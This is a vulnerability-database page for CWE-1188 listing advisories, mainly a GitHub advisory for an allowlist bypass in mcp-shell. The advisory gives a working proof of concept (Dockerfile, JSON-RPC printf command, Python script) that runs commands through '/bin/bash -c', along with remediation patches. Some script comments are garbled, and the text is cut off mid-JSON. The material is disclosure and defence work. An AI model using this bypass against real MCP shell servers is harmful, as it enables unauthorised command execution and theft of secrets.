Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

435 vulnerabilities reference this CWE, most recent first.

GHSA-3X4G-4374-V83H

Vulnerability from github – Published: 2024-09-13 21:31 – Updated: 2024-09-16 18:31
VLAI
Details

there is a possible arbitrary read due to an insecure default value. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-44096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-453"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-13T21:15:10Z",
    "severity": "MODERATE"
  },
  "details": "there is a possible arbitrary read due to an insecure default value. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-3x4g-4374-v83h",
  "modified": "2024-09-16T18:31:21Z",
  "published": "2024-09-13T21:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44096"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2024-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3X77-WG38-92R3

Vulnerability from github – Published: 2026-08-25 15:41 – Updated: 2026-08-25 15:41
VLAI
Summary
mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable
Details

Summary

mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.

Details

mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:

# security.yaml (line 29)
allowed_executables:
  - "ls"
  - ...
  - "/bin/bash"  # Only allow if you trust the arguments

The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:

// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
    if v.matchesExecutable(executable, allowed) {
        if err := v.checkBlockedPatternsAndCommands(command); err != nil {
            return err
        }
        return nil
    }
}

executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.

The validated command then reaches the executor:

// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)

parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.

Data flow (source → sink):

Step Location Description
1 Dockerfile:55 COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image
2 Dockerfile:57 ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml — activates config by default
3 security.yaml:29 /bin/bash registered in allowed_executables
4 main.go:84-102 MCP tool shell_exec registered with required command parameter
5 handler.go:34 command := request.RequireString("command") — attacker-controlled input received
6 handler.go:49 h.validator.validateCommand(command) — validation called
7 security.go:67-96 executable = parts[0] matches /bin/bash; -c not blocked; returns nil
8 handler.go:59 Validated command forwarded to executor
9 executor.go:163 exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution

PoC

Prerequisites:

  • Docker installed and accessible.
  • Repository source code checked out (build context is the repository root).
  • python3 available (for the automated PoC script).

Step 1 — Build the Docker image

docker build \
  -f vuln-001/Dockerfile \
  /path/to/mcp-shell-repo \
  -t mcp-shell-vuln-001:latest

Step 2 — Run the PoC script

python3 vuln-001/poc.py mcp-shell-vuln-001:latest

The script sends three MCP JSON-RPC requests over stdio:

  1. initialize handshake
  2. tools/call shell_exec with command="/bin/bash -c id" — exploit payload
  3. tools/call shell_exec with command="id" — control: direct invocation must be blocked

Expected output (exploit success):

[id=2] /bin/bash -c id response:
  → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'

[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution  successful!

[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
    → allowlist bypass  /bin/bash -c only through the path occurs proven

Alternatively, using raw printf (no Python required):

printf '%s\n' \
  '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
  '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
  '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest

Observed MCP response:

{
  "command": "/bin/bash -c id",
  "execution_time": "3.854555ms",
  "exit_code": 0,
  "security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
  "status": "success",
  "stderr": "",
  "stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}

Remediation (patch guidance):

  1. Remove shell interpreters from the default security.yaml allowlist:
--- a/security.yaml
+++ b/security.yaml
-    - "/bin/bash"  # Only allow if you trust the arguments
  1. Add argument-level validation in security.go to block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
  executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+     return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }

  // Check if the executable is in the allowlist
  for _, allowed := range v.config.AllowedExecutables {
  ...
  }
+
+ func isShellCommandMode(executable string, args []string) bool {
+     base := filepath.Base(executable)
+     switch base {
+     case "sh", "bash", "dash", "ash", "zsh", "ksh":
+         for _, arg := range args {
+             if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+                 return true
+             }
+         }
+     }
+     return false
+ }

Impact

This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).

Who is impacted:

  • Any operator deploying the official Docker image without modifying the default security.yaml is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.
  • MCP clients that interact with a vulnerable mcp-shell instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to mcpuser, or pivot further within the container's network.
  • The --network=none flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.

Concrete consequences of exploitation:

  • Confidentiality: Dump environment variables (/bin/bash -c env), read files, or exfiltrate credentials visible to mcpuser.
  • Integrity: Write or modify files within the container's writable filesystem.
  • Availability: Consume container resources or terminate processes.

Reproduction artifacts

Dockerfile

# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c
# build context: ../repo directory
# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest

# Build stage
FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download

COPY *.go ./

ARG VERSION=vuln-001-poc
RUN CGO_ENABLED=0 GOOS=linux go build \
    -ldflags "-X main.version=${VERSION} -s -w" \
    -a -installsuffix cgo \
    -o mcp-shell .

# Runtime stage
FROM alpine:3.22

RUN apk add --no-cache \
    bash \
    curl \
    wget \
    git \
    make \
    findutils \
    grep \
    sed \
    gawk \
    tar \
    gzip \
    unzip \
    ca-certificates \
    && rm -rf /var/cache/apk/*

RUN addgroup -g 1000 mcpuser && \
    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

RUN mkdir -p /tmp/mcp-workspace && \
    chown mcpuser:mcpuser /tmp/mcp-workspace

RUN mkdir -p /etc/mcp-shell && \
    chown mcpuser:mcpuser /etc/mcp-shell

COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell
RUN chmod +x /usr/local/bin/mcp-shell

# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone
COPY security.yaml /etc/mcp-shell/security.yaml

ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser
WORKDIR /tmp/mcp-workspace

ENTRYPOINT ["mcp-shell"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c

Vulnerability summary:
  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
  executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.

usage:
  python3 poc.py [IMAGE_NAME]
  default text: mcp-shell-vuln-001:latest
"""

import subprocess
import json
import sys

IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"


def make_msg(obj):
    return json.dumps(obj, separators=(',', ':'))


# MCP JSON-RPC message whentext
MESSAGES = [
    # 1. initialize handshake
    make_msg({
        "jsonrpc": "2.0", "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
        }
    }),
    # 2. initialized text (response none)
    make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
    # 3. vulnerability text: /bin/bash -c id
    #    id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
    make_msg({
        "jsonrpc": "2.0", "id": 2,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c id", "base64": False}
        }
    }),
    # 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
    make_msg({
        "jsonrpc": "2.0", "id": 3,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "id", "base64": False}
        }
    }),
    # 5. add evidence: env environment variable text (envtext allowlisttext none)
    make_msg({
        "jsonrpc": "2.0", "id": 4,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c env", "base64": False}
        }
    }),
]


def extract_text(resp):
    """MCP tools/call responsefrom text contents extract"""
    try:
        content = resp.get("result", {}).get("content", [])
        for item in content:
            if item.get("type") == "text":
                return item["text"]
    except Exception:
        pass
    return None


def run_poc():
    stdin_data = "\n".join(MESSAGES) + "\n"

    print(f"[*] text: {IMAGE}")
    print("[*] text: /bin/bash -c id")
    print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
    print()

    try:
        proc = subprocess.run(
            ["docker", "run", "--rm", "-i", "--network=none", IMAGE],
            input=stdin_data.encode(),
            capture_output=True,
            timeout=30,
        )
    except subprocess.TimeoutExpired:
        print("[-] error: container response timeout (30seconds)")
        return False, "timeout"
    except FileNotFoundError:
        print("[-] error: docker commandtext text can none")
        return False, "docker not found"
    except Exception as e:
        print(f"[-] error: {e}")
        return False, str(e)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print("=== STDOUT (JSON-RPC response) ===")
    print(stdout)
    if stderr:
        print("=== STDERR (server log, partial) ===")
        print(stderr[:1500])
    print()

    # response parse
    responses = {}
    for line in stdout.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            resp = json.loads(line)
            msg_id = resp.get("id")
            if msg_id is not None:
                responses[msg_id] = resp
        except json.JSONDecodeError:
            pass

    exploit_passed = False
    exploit_evidence = ""

    # [id=2] /bin/bash -c id result check (key point evidence)
    if 2 in responses:
        text = extract_text(responses[2])
        if text:
            print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
            try:
                result = json.loads(text)
                stdout_val = result.get("stdout", "")
                status = result.get("status", "")
                exit_code = result.get("exit_code", -1)
                print(f"  → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
                if "uid=" in stdout_val and status == "success":
                    exploit_passed = True
                    exploit_evidence = (
                        f"command=/bin/bash -c id | status={status} | "
                        f"exit_code={exit_code} | stdout={stdout_val}"
                    )
                    print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
                    print(f"[+] Deterministic evidence: {exploit_evidence}")
            except json.JSONDecodeError:
                if "uid=" in text:
                    exploit_passed = True
                    exploit_evidence = text
                    print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
    else:
        print("[-] id=2 response none (secondstext failure or server error)")

    # [id=3] id directly execute → block check (text)
    if 3 in responses:
        text = extract_text(responses[3]) or ""
        resp_str = str(responses[3])
        blocked = (
            "not in allowed list" in text
            or "not in allowed list" in resp_str
            or "Security violation" in text
            or "isError" in resp_str and "true" in resp_str.lower()
        )
        if blocked:
            print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
            print(f"    → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
        else:
            print(f"[*] 'id' directly result: {text[:200]}")

    # [id=4] /bin/bash -c env add evidence
    if 4 in responses:
        text = extract_text(responses[4]) or ""
        try:
            result = json.loads(text)
            stdout_val = result.get("stdout", "")
            if "PATH=" in stdout_val or "HOME=" in stdout_val:
                env_lines = stdout_val.splitlines()[:5]
                print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
                print(f"    first 5lines: {chr(10).join('    ' + l for l in env_lines)}")
        except Exception:
            pass

    return exploit_passed, exploit_evidence


if __name__ == "__main__":
    passed, evidence = run_poc()
    print()
    if passed:
        print("[+] vulnerability reproduction result: PASS")
        sys.exit(0)
    else:
        print("[-] vulnerability reproduction result: FAIL")
        sys.exit(1)
Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sonirico/mcp-shell"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-183",
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:41:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist \u2014 including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n  - \"ls\"\n  - ...\n  - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n    if v.matchesExecutable(executable, allowed) {\n        if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n            return err\n        }\n        return nil\n    }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `\u0026`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `\u0027`) and a configurable list of `blocked_commands`/`blocked_patterns` \u2014 both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly \u2014 no shell is spawned by the executor itself \u2014 but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` \u2014 bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` \u2014 activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` \u2014 attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` \u2014 validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` \u2014 sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 \u2014 Build the Docker image**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp-shell-repo \\\n  -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 \u2014 Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` \u2014 **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` \u2014 **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n  \u2192 status=\u0027success\u0027, exit_code=0, stdout=\u0027uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\u0027\n\n[+] PASS: uid= confirmed \u2192 /bin/bash -c via arbitrary command execution  successful!\n\n[+] control confirmed: \u0027id\u0027 direct execution blocked (allowlist behavior normal)\n    \u2192 allowlist bypass  /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf \u0027%s\\n\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}\u0027 \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n  \"command\": \"/bin/bash -c id\",\n  \"execution_time\": \"3.854555ms\",\n  \"exit_code\": 0,\n  \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n  \"status\": \"success\",\n  \"stderr\": \"\",\n  \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n-    - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n  executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+     return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n  // Check if the executable is in the allowlist\n  for _, allowed := range v.config.AllowedExecutables {\n  ...\n  }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+     base := filepath.Base(executable)\n+     switch base {\n+     case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+         for _, arg := range args {\n+             if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+                 return true\n+             }\n+         }\n+     }\n+     return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. \u2014 all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance \u2014 including automated AI agents, LLM orchestration platforms, and CI/CD pipelines \u2014 may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container\u0027s network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container\u0027s writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n    -ldflags \"-X main.version=${VERSION} -s -w\" \\\n    -a -installsuffix cgo \\\n    -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n    bash \\\n    curl \\\n    wget \\\n    git \\\n    make \\\n    findutils \\\n    grep \\\n    sed \\\n    gawk \\\n    tar \\\n    gzip \\\n    unzip \\\n    ca-certificates \\\n    \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n    chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n    chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n  executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n  python3 poc.py [IMAGE_NAME]\n  default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n    return json.dumps(obj, separators=(\u0027,\u0027, \u0027:\u0027))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n    # 1. initialize handshake\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 1,\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n        }\n    }),\n    # 2. initialized text (response none)\n    make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n    # 3. vulnerability text: /bin/bash -c id\n    #    id text allowlisttext textonly /bin/bash text because it exists verification passed \u2192 id execute\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n        }\n    }),\n    # 4. comparison: id directly execute \u2192 allowlisttext because it is missing blockbecomestext done\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 3,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"id\", \"base64\": False}\n        }\n    }),\n    # 5. add evidence: env environment variable text (envtext allowlisttext none)\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 4,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n        }\n    }),\n]\n\n\ndef extract_text(resp):\n    \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n    try:\n        content = resp.get(\"result\", {}).get(\"content\", [])\n        for item in content:\n            if item.get(\"type\") == \"text\":\n                return item[\"text\"]\n    except Exception:\n        pass\n    return None\n\n\ndef run_poc():\n    stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n    print(f\"[*] text: {IMAGE}\")\n    print(\"[*] text: /bin/bash -c id\")\n    print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n    print()\n\n    try:\n        proc = subprocess.run(\n            [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n            input=stdin_data.encode(),\n            capture_output=True,\n            timeout=30,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] error: container response timeout (30seconds)\")\n        return False, \"timeout\"\n    except FileNotFoundError:\n        print(\"[-] error: docker commandtext text can none\")\n        return False, \"docker not found\"\n    except Exception as e:\n        print(f\"[-] error: {e}\")\n        return False, str(e)\n\n    stdout = proc.stdout.decode(errors=\"replace\")\n    stderr = proc.stderr.decode(errors=\"replace\")\n\n    print(\"=== STDOUT (JSON-RPC response) ===\")\n    print(stdout)\n    if stderr:\n        print(\"=== STDERR (server log, partial) ===\")\n        print(stderr[:1500])\n    print()\n\n    # response parse\n    responses = {}\n    for line in stdout.splitlines():\n        line = line.strip()\n        if not line:\n            continue\n        try:\n            resp = json.loads(line)\n            msg_id = resp.get(\"id\")\n            if msg_id is not None:\n                responses[msg_id] = resp\n        except json.JSONDecodeError:\n            pass\n\n    exploit_passed = False\n    exploit_evidence = \"\"\n\n    # [id=2] /bin/bash -c id result check (key point evidence)\n    if 2 in responses:\n        text = extract_text(responses[2])\n        if text:\n            print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n            try:\n                result = json.loads(text)\n                stdout_val = result.get(\"stdout\", \"\")\n                status = result.get(\"status\", \"\")\n                exit_code = result.get(\"exit_code\", -1)\n                print(f\"  \u2192 status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n                if \"uid=\" in stdout_val 